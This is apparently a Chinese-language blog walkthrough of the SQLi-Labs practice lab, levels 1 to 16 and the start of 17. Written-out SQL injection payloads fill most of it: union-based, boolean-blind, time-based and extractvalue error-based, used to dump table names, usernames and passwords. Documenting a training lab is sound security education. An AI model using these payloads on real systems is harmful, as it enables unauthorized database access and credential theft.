【Loading 16/75】Web_SQLi-Labs_WriteUp
Less-1_GET-Error based-Single quotes-String
题目
分析
根据标题“GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)”可以猜到本题的闭合方法为单引号闭合,但保险起见咱还是走一遍流程。
根据页面给出的提示信息“Please input the ID as parameter with numeric value(请输入 ID 作为数值参数)”,经多次尝试推测出变量名为 id,且 id 值的范围为 1-8。
固定 id 值为 1,尝试 '
"
)
')
")
进行闭合,结果仅 '
和 ')
出现报错,根据两次报错内容判断闭合方式为单引号闭合。
使用 order by
查询当前表的字段数,由二分法从 10 开始尝试至 3,发现 order by 4
时页面显示报错信息,但 order by 3
时页面正常显示。判断字段数为 3。
接下来的步骤就是查数据库名-查表名-查列名(字段名)-查字段值,这里使用联合查询 union select
查找回显点。传入 ?id=' union select 1,2,3--+
得到 2、3 的位置为回显点。
我们使用 2 位置作为回显点,?id=' union select 1,database(),3--+
得到数据库名 secerity
。
继续查询数据库中的表名,传入 ?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3--+
,获得所有表名。
任选一个表查看其列名,这里咱看看 emails 表:?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="emails"),3--+
,显然该表中存在俩列,分别是 id
和 email_id
。
最后查看字段值,这里选择 email_id
列进行查看,传入 ?id=' union select 1,(select email_id from emails),3--+
回显 Subquery returns more than 1 row
,于是咱还是使用 group_concat()
将多行结果作一行输出。传入 ?id=' union select 1,(select group_concat(email_id) from emails),3--+
得到回显。
同理可查看其他字段的值。
知识点与参考
- 在添加注释符的时候发现使用
#
注释失败,但使用--+
却成功了,因为在 get 请求中,#
符号用于指导浏览器动作,是位置标识符,该字符不会被传输到服务器端。具体原因参考 SQL注入中,注释#、 --+、 --%20、 %23到底是什么意思?sqli-labs-master-Dooz-CSDN - 查表中某字段的值,一般顺序为:查数据库名-查表名-查列名(字段名)-查字段值
查数据库名:database()
查表名:select table_name from information_schema.tables where table_schema="数据库名"
查列名:select column_name from information_schema.columns where table_name="表名"
查值:select 列名 from 表名
- 查询数据库时传入的闭合前的值需不存在返回值,即可在
'
前不传参数或传入空值,否则可能导致查询数据库的结果无法回显。 - 若查询结果存在多行,可使用
group_concat()
函数将多行结果以,
分隔开按一行输出。 - 判断字符型注入与数字型注入可参考 如何判断是字符型注入还是数字型注入-二潘-简书
Less-2_GET-Error based-Intiger based
题目
分析
标题传递了两个信息:
- GET 传参
- 基于整数
猜测本题参数为数值型。
首先判断注入类型。传入 ?id=1 and 1=1
,页面正常显示。
传入 ?id=1 and 1=2
,页面无回显,确实是数字型注入。
之后的步骤就与 Less-1 无异了。
使用 order by
多次尝试,得出字段数为 3。
将 id 值改为 -1,联合查询找回显点,确定回显点位于 2,3。
将位置 2 作为回显点,查数据库名。
查表名。
这次查个 users 表的列名。
一次性查看 username 列和 password 列的值。
Less-3_GET-Error based-Single quotes with twist-string
题目
分析
题目的大意为“基于错误的 GET 单引号变形字符型注入”。
与 Less-2 一样,先判断闭合方式。传入 ?id=1' and '1'='1
时页面正常显示,传入 ?id=1' and '1'='2
时无回显,初步判断为 '
闭合的字符型注入。
但在传入 ?id=1' and '1'='1'--+
时出现报错,在传入 ?id=1' and '1'='1')--+
时正常回显,判断闭合符号不止 '
,实际为 ')
。
接下来的步骤与 Less-1 和 Less-2 相同。order by
判断列数。
更改无效 id 值后联合查询判断回显点。
查数据库名。
查表名。
查 users 表的列名。
查 username 和 password 列的值。
知识点与参考
- 字符型注入的常见闭合方式有
'
"
)
')
")
五种,其中')
")
中的单双引号仅包裹注入参数中的数字,即id=('1' and '1'='1')
而非id=('1') and ('1')=('1')
Less-4_GET-Error based-Double Quotes-String
题目
分析
标题大意“基于错误的 GET 双引号字符型注入”。猜测该题使用 "
闭合输入参数。
与 Less-3 同理,传入 ?id=1" and "1"="1
正常回显,传入 ?id=1" and "1"="2
无回显。
保险起见检查一下是 "
闭合还是 ")
闭合。传入 ?id=1" and "1"="1"--+
报错,传入 ?id=1" and "1"="1")--+
正常回显。判断闭合方式为 ")
接下来的步骤和前几题一个样。
查字段数。
查回显点。
查数据库名。
查表名。
查 users 表的列名。
查 username 和 password 列的值。
Less-5_GET-Double Injection-Single Quotes-String
题目
分析
标题大意“双注入GET单引号字符型注入”,双注入指代不明,但可以猜测是单引号闭合的注入。
先尝试使用单引号闭合,发现存在过滤。
依次传入 ?id=1 and 1=1--+
和 ?id=1 and 1=1--+
发现回显同上;传入 ?id=1' and '1'='1'--+
回显同上,传入 ?id=1' and '1'='2'--+
无回显;传入 ?id=1' and '1'='1')--+
出现报错,判断为 '
闭合的字符型注入。
因为存在过滤,咱无法通过回显内容获得信息,联合查询那一套流程在这里就不适用了。这里我们采用布尔盲注依次猜测数据库名、表名、列名、字段值,常用的函数有 length()
ascii()
substr()
。
先猜测数据库名的长度,传入 ?id=1' and length(database())>10--+
未得到回显,但传入 ?id=1' and length(database())<10--+
出现回显,说明数据库名的字符串长度小于 10。
接下来采用二分法逐步缩小猜测范围,最终得到数据库名的字符串长度为 8。接下来就需要对 8 个字符进行逐一爆破了,这里咱用 BurpSuite。打开浏览器代理与 BurpSuite 拦截,向靶机传入 ?id=1' and substr(database(),1,1)='a'--+
,将拦截的报文发送到 Intruder,选中字符 a
添加为 payload,以 26 字母为字典进行爆破,得到数据库名第一位为 s。
同理,?id=1' and substr(database(),1,2)='sa'--+
对数据库名第二位字符进行爆破。
以此类推爆破出数据库名为 security。
继续对表名、列名、字段值进行爆破。
表名 ?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="security"))=爆破值--+
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema="security"),1,1)='爆破字符'--+
列名 ?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值--+
?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'--+
字段值 ?id=1' and length((select group_concat(列名) from 表名))=爆破值--+
?id=1' and substr((select group_concat(列名) from 表名),1,1)='爆破字符'--+
知识点与参考
- 通过查看大佬的 WP 了解到这题考查的或许是报错注入(?)报错注入用到的函数包括
floor()
extractvalue()
updatexml()
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
具体可参考 全网最全sqli-labs通关攻略(建议收藏)-腾讯云开发者社区-网络安全自修室
Less-6_GET-Double Injection-Double Quotes-String
题目
分析
标题大意“双注入GET单引号字符型注入”,与上一题的差别在于闭合使用的单引号更改为了双引号。
通过尝试发现 id=1" and "1"="1
时页面回显 You are in...........
,id=1" and "1"="2
时页面无回显,id=1" and "1"="2")--+
时页面回显报错信息,确定闭合符号为 "
。
接下来的步骤与 Less-5 相同,通过传入以下参数进行爆破。
数据库名:
?id=1' and length(database())=爆破值--+
?id=1' and substr(database(),1,1)='爆破字符'--+
表名:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值--+
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符'--+
列名:
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值--+
?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'--+
字段值:
?id=1' and length((select group_concat(列名) from 表名))=爆破值--+
?id=1' and substr((select group_concat(列名) from 表名),1,1)='爆破字符'--+
Less-7_GET-Dump into outfile-String
题目
分析
标题大意“转储到输出文件GET字符型注入”,看不明白。
既然还是向 ID 值传参,那就先走一波流程。依次传入 id=1
id=1'
id=1"
,只有 id=1'
时出现报错,判断字符串的闭合方式包含 '
。
使用 --+
把输入部分之后的语句注释掉,回显 You have an error in your SQL syntax
提示存在语法错误,尝试往 '
后补入 )
,直至传入 ?id=1'))--+
时回显 You are in.... Use outfile......
,判断该题参数闭合方式为 '))
。
根据之前的回显,该题仍无法通过回显内容获得具体信息,于是继续使用布尔盲注,步骤类似于 Less-5。
数据库名:
?id=1')) and length(database())=爆破值--+
?id=1')) and substr(database(),1,1)='爆破字符'--+
表名:
?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值--+
?id=1')) and substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符'--+
列名:
?id=1')) and length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值--+
?id=1')) and substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'--+
字段值:
?id=1')) and length((select group_concat(列名) from 表名))=爆破值--+
?id=1')) and substr((select group_concat(列名) from 表名),1,1)='爆破字符'--+
知识点与参考
- 关于标题提示的部分,我查看了大佬的 WP 和讲解,了解到本题原先考察的是通过
into outfile
写入文件进行注入,注入前提是已知当前关卡数据库文件绝对路径,具体可参考 SQL注入——into outfile的使用-不会就跑路的小白-CSDN 及 全网最全sqli-labs通关攻略(建议收藏)-腾讯云开发者社区-网络安全自修室
Less-8_GET-Blind-Boolian Based-Signle Quotes
题目
分析
标题大意“基于布尔型的单引号 GET 盲注”,可以得到三处信息,分别是“布尔盲注”、“单引号闭合”和“GET 传参”。
具体步骤与 Less-5 相同。
Less-9_GET-Blind-Time based.-Single quotes
题目
分析
标题大意“基于时间型的单引号 GET 盲注”,得到三处信息,分别是“时间盲注”、“单引号闭合”和“GET 传参”。
依次传入 ?id=1
?id=1'
和 ?id=1"
,发现得到的回显均为 You are in...........
。联想到标题给出的提示,在参数后分别拼接 sleep()
函数再次传参,发现传入 ?id=1' and sleep(5)--+
时浏览器在 5 秒后回显,判断为 '
闭合。
接下来的步骤与 Less-5 的不同在于需要通过 sleep()
函数辅助判断参数正误,具体如下。
数据库名:
?id=1' and length(database())=爆破值 and sleep(延迟时间)--+
?id=1' and substr(database(),1,1)='爆破字符' and sleep(延迟时间)--+
表名:
?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值 and sleep(延迟时间)--+
?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符' and sleep(延迟时间)--+
列名:
?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值 and sleep(延迟时间)--+
?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符' and sleep(延迟时间)--+
字段值:
?id=1' and length((select group_concat(列名) from 表名))=爆破值 and sleep(延迟时间)--+
?id=1' and substr((select group_concat(列名) from 表名),1,1)='爆破字符' and sleep(延迟时间)--+
Less-10_GET-Blind-Time based-double quotes
题目
分析
标题大意“基于时间型的双引号 GET 盲注”,得到的三点提示分别是“时间盲注”、“双引号闭合”和“GET 传参”。
同 Less-6,依次传入 ?id=1
?id=1'
和 ?id=1"
时,得到的回显均为 You are in...........
,分别在参数后拼接 sleep()
函数后传参,仅 ?id=1" and sleep(3)--+
回显出现 3 秒延迟,判断 闭合符号为 "
。
接下来的步骤同 Less-9。
数据库名:
?id=1" and length(database())=爆破值 and sleep(延迟时间)--+
?id=1" and substr(database(),1,1)='爆破字符' and sleep(延迟时间)--+
表名:
?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值 and sleep(延迟时间)--+
?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符' and sleep(延迟时间)--+
列名:
?id=1" and length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值 and sleep(延迟时间)--+
?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符' and sleep(延迟时间)--+
字段值:
?id=1" and length((select group_concat(列名) from 表名))=爆破值 and sleep(延迟时间)--+
?id=1" and substr((select group_concat(列名) from 表名),1,1)='爆破字符' and sleep(延迟时间)--+
Less-11_POST-Error Based-Single quotes-String
题目
分析
是新界面!这次的标题大意为“基于错误的单引号字符型 POST 注入”。
先向用户名和密码框内随意输入字符,得到回显。同时,由于是 POST 传参,URL 后并未显示咱传入的参数。
BurpSuite 拦截包,找到传入的参数格式。
向 Username 框传入 ' or '1'='1'--+
得到报错。
报错的出现说明字符串的闭合方式很可能是单引号。同时根据报错提示,猜测是注释符出错,更改为 ' or '1'='1'#
后提交,登录成功。
接下来的步骤与 Less-1 相同,通过 order by
查询当前表的字段数,传入 ' order by 2#
,无回显,但传入 ' order by 3#
得到报错,判断当前表的字段数为 2。
通过联合查询 ' union select 1,2#
得到回显点。
通过回显点得到数据库名 ' union select database(),2#
。
' union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
得到表名。
' union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#
得到 users 表的字段名。
' union select (select group_concat(username) from users),(select group_concat(password) from users)#
得到 users 表的 username 字段值和 password 字段值。
Less-12_POST-Error Based-Double quotes-String-with twist
题目
分析
标题大意“基于错误的双引号字符型变形 POST 注入”。与 Less-11 的差别在闭合符号和变形。
往 Username 传了个 "
,回显语法错误,根据报错内容得知闭合符号为 ")
。
往 Username 传入 ") or 1=1#
,登录成功。
接下来的步骤与 Less-11 相似。
判断字段数:") order by 2#
判断回显点:") union select 1,2#
查数据库名:") union select database(),2#
查表名:") union select (select group_concat(table_name) from information_schema.tables where table_schema='security'),2#
查列名:") union select (select group_concat(column_name) from information_schema.columns where table_name='users'),2#
查字段值:") union select (select group_concat(username) from users),(select group_concat(password) from users)#
Less-13_POST-Double Injection-Single quotes-String-with twist
题目
分析
标题大意“单引号字符型变形 POST 双注入”。
老规矩,往 Username 里传了个 '
得到报错回显。
根据回显内容判断闭合符号为 ')
。
传入 ') or 1=1#
登录成功。
判断字段数,传入 ') order by 2#
时无回显,传入 ') order by 3#
时回显报错信息,判断当前表格存在两个列。
') union select 1,2#
判断回显点时发现页面登录成功但无回显。
考虑使用布尔盲注进行爆破,因为这里的 Username 未知,故尝试传入 ') or length(database())>10#
') or length(database())<10#
进行判断,发现传入 ') or length(database())<10#
时回显登录成功
接下来的查询步骤与 Less-5 相似,都将参数传入 Username。
数据库名:
') or substr(database(),1,1)='爆破字符'#
表名:
') or length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值#
') or substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符'#
列名:
') or length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值#
') or substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'#
字段值:
') or length((select group_concat(列名) from 表名))=爆破值#
') or substr((select group_concat(列名) from 表名),1,1)='爆破字符'#
Less-14_POST-Double Injection-Single quotes-String-with twist
题目
分析
这题的标题和 Less-13 完全一样,但在向 Username 传入 '
尝试的时候没有回显且登录失败,传入 "
时却得到报错回显,或许是一个小小的彩蛋。
向 Username 传入 " or 1=1#
登录成功,但同样没有回显,看来仍需通过布尔盲注、时间盲注或者报错注入进行辅助判断。
这次咱试试 extractvalue()
进行报错注入,向 Username 传入" and extractvalue(1,concat(0x7e,(select database())))#
得到数据库名回显。
同理,查询表名可通过 " and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")))#
得到回显。
" and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))#
查询 users 表的列名。
" and extractvalue(1,concat(0x7e,(select group_concat(username,"&&",password) from users)))#
查询 users 表的 username 和 password 列值,并通过 &&
连接。
知识点与参考
extractvalue(xml_frag, xpath_expr)
函数从一个使用xpath语法的xml字符串中提取一个值。其中,xml_frag 是 xml 文档对象的名称,是一个 string 类型;xpath_expr 是使用 xpath 语法格式的路径。报错注入利用的是extractvalue()
函数的 xpath_expr 参数不符合 xpath 格式时产生的报错返回需要的信息,而0x7e
对应的符号~
不存在与 xpath 格式中,通过concat()
函数连接需要查询的字符串,使得extractvalue()
函数一定会出现报错,达到 SQL 注入的目的。
Less-15_POST-Blind-Boolian/time Based-Single quotes
题目
分析
标题大意“基于布尔/时间盲注的单引号 POST 型注入”。
先来判断闭合符号,向 Username 传入 ' or 1#
,登录成功,判断闭合符号为 '
。
布尔盲注
布尔盲注用到的函数有 length()
ascii()
substr()
。
向 Username 传入 ' or length(database())=8#
时登录成功,判断数据库字符串长度为 8。
接下来的查询步骤与 Less-5 相似,都将参数传入 Username。
数据库名:
' or substr(database(),1,1)='爆破字符'#
表名:
' or length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值#
' or substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符'#
列名:
' or length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值#
' or substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'#
字段值:
' or length((select group_concat(列名) from 表名))=爆破值#
' or substr((select group_concat(列名) from 表名),1,1)='爆破字符'#
时间盲注
时间盲注常用的函数就是 sleep()
了。同样向 Username 传入以下。
数据库名:
' or if(length(database())=爆破值,sleep(3),1)#
' or if(substr(database(),1,1)='爆破字符',sleep(3),1)#
表名:
' or if(length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值,sleep(3),1)#
' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符',sleep(3),1)#
列名:
' or if(length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值,sleep(3),1)#
' or if(substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符',sleep(3),1)#
字段值:
' or if(length((select group_concat(列名) from 表名))=爆破值,sleep(3),1)#
' or if(substr((select group_concat(列名) from 表名),1,1)='爆破字符',sleep(3),1)#
这题使用时间盲注时存在一处很奇怪的地方,当语句执行 sleep()
函数时,实际响应的延迟时间是设定数值的 8 倍,不知道是不是和数据库名的字符串长度有关。如果想要在测试中节省时间,可将 sleep()
参数除以 8 或者将 sleep(3)
与 1
对换。
Less-16_POST-Blind-Boolian/Time Based-Double quotes
题目
分析
标题大意“基于布尔/时间盲注的双引号 POST 型注入”,与 Less-15 的差别仅在于闭合符号。
但在实际测试中则不然,传入 " or 1#
时并未登录成功,当传入 ") or 1#
时成功登录。
所以接下来向 Username 传入的查询如下。
布尔盲注
数据库名:
") or length(database())=爆破值#
") or substr(database(),1,1)='爆破字符'#
表名:
") or length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值#
") or substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符'#
列名:
") or length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值#
") or substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符'#
字段值:
") or length((select group_concat(列名) from 表名))=爆破值#
") or substr((select group_concat(列名) from 表名),1,1)='爆破字符'#
时间盲注
数据库名:
") or if(length(database())=爆破值,sleep(3),1)#
") or if(substr(database(),1,1)='爆破字符',sleep(3),1)#
表名:
") or if(length((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"))=爆破值,sleep(3),1)#
") or if(substr((select group_concat(table_name) from information_schema.tables where table_schema="数据库名"),1,1)='爆破字符',sleep(3),1)#
列名:
") or if(length((select group_concat(column_name) from information_schema.columns where table_name="表名"))=爆破值,sleep(3),1)#
") or if(substr((select group_concat(column_name) from information_schema.columns where table_name="表名"),1,1)='爆破字符',sleep(3),1)#
字段值:
") or if(length((select group_concat(列名) from 表名))=爆破值,sleep(3),1)#
") or if(substr((select group_concat(列名) from 表名),1,1)='爆破字符',sleep(3),1)#
本题同样存在 sleep()
时间 8 倍延迟的情况。
Less-17_POST-Update Query-Error Based-String
题目
分析
标题大意“基于错误的更新查询字符串 POST 型注入”。与之前的题目相比,本题页面多显示了一条 [PASSWORD RESET]
,意为“密码重置”。